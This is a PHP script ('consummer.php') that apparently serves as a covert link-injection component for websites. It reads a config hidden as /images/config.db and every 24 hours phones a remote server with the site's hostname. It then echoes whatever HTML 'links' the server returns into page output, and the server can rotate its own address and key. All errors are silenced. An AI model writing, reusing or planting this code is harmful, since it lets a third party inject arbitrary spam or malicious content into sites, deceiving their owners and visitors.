consummer.php

<?php
    define('CONFIG_FILE', '/images/config.db');
    define('CACHE_TTL', 24);

    function loadConfig($path)
    {
        $size = FALSE;
        $content = FALSE;
        $result = FALSE;
        $fp = @fopen($path, 'r');

        if ($fp)
        {
            $size = @filesize($path);

            if ($size)
            {
                $content = @fread($fp, $size);
            }

            @fclose($fp);

            if ($content)
            {
                $result = @unserialize($content);
            }
        }

        if ($result)
        {
            return $result;
        }

        return array();
    }

    function saveConfig($path, $data)
    {
        $fp = @fopen($path, 'w');

        if ($fp)
        {
            if (@flock($fp, LOCK_EX))
            {
                $content = @serialize($data);
                @fwrite($fp, $content);
                @flock($fp, LOCK_UN);
            }

            @fclose($fp);
        }
    }

    function getLinks($server_host, $server_port, $path, $key)
    {
        $fp = @fsockopen($server_host, $server_port, $errno, $errstr, 30);

        if ($fp){
            $data = urlencode($_SERVER['HTTP_HOST']);
            @fputs($fp, "GET $path$data HTTP/1.1\r\n");
            @fputs($fp, "Host: $server_host\r\n");
            @fputs($fp, "Authorization: Basic $key\r\n");
            @fputs($fp, "Connection: close\r\n\r\n");

            $result = '';

            while(!@feof($fp)) {
                $result .= @fgets($fp, 128);
            }

             @fclose($fp);
        }
        else
        {
            return array(
                'status' => 'err',
                'error' => "$errstr ($errno)"
            );
        }

        $result = explode("\r\n\r\n", $result, 2);
        $header = isset($result[0]) ? $result[0] : '';
        $content = isset($result[1]) ? $result[1] : '';

        return array(
            'status' => 'ok',
            'header' => $header,
            'content' => json_decode($content, true)
        );
    }

    function endsWith($haystack, $needle)
    {
      $expectedPosition = strlen($haystack) - strlen($needle);

      return strrpos($haystack, $needle, 0) === $expectedPosition;
    }

    function process()
    {
        $config = loadConfig(dirname(__FILE__) . CONFIG_FILE);

        if (count($config) == 0) return;

        if (!isset($config['timestamp'])) return;

        if (!isset($config['server'])) return;

        if (!isset($config['port'])) return;

        if (!isset($config['path'])) return;

        if (!isset($config['key'])) return;

        if (!isset($config['links'])) return;

        $time_delta = (time() - $config['timestamp']) / 3600;

        if ($time_delta >= CACHE_TTL)
        {
            $config['timestamp'] = time();
            $result = getLinks($config['server'], $config['port'], $config['path'], $config['key']);

            if ($result['status'] == 'ok'
                && isset($result['content'])
                && isset($result['content']['links'])
                && isset($result['content']['server'])
                && isset($result['content']['port'])
                && isset($result['content']['path'])
                && isset($result['content']['key']))
            {
                $config['links'] = $result['content']['links'];
                $config['server'] = $result['content']['server'];
                $config['port'] = $result['content']['port'];
                $config['path'] = $result['content']['path'];
                $config['key'] = $result['content']['key'];
            }

            saveConfig(dirname(__FILE__) . CONFIG_FILE, $config);
        }

        if (isset($config['links']) && count($config['links']) > 0)
        {
            $buffer = '';

            foreach($config['links'] as $item)
            {
                if (!isset($item['link']) || !isset($item['text']))
                {
                    continue;
                }

                if ($item['allPages'])
                {
                    $buffer .= $item['text'];
                }
                else if (endsWith(trim($item['link']), trim($_SERVER['REQUEST_URI'])))
                {
                    $buffer .= $item['text'];
                }
            }

            echo $buffer;
        }
    }

    process();
?>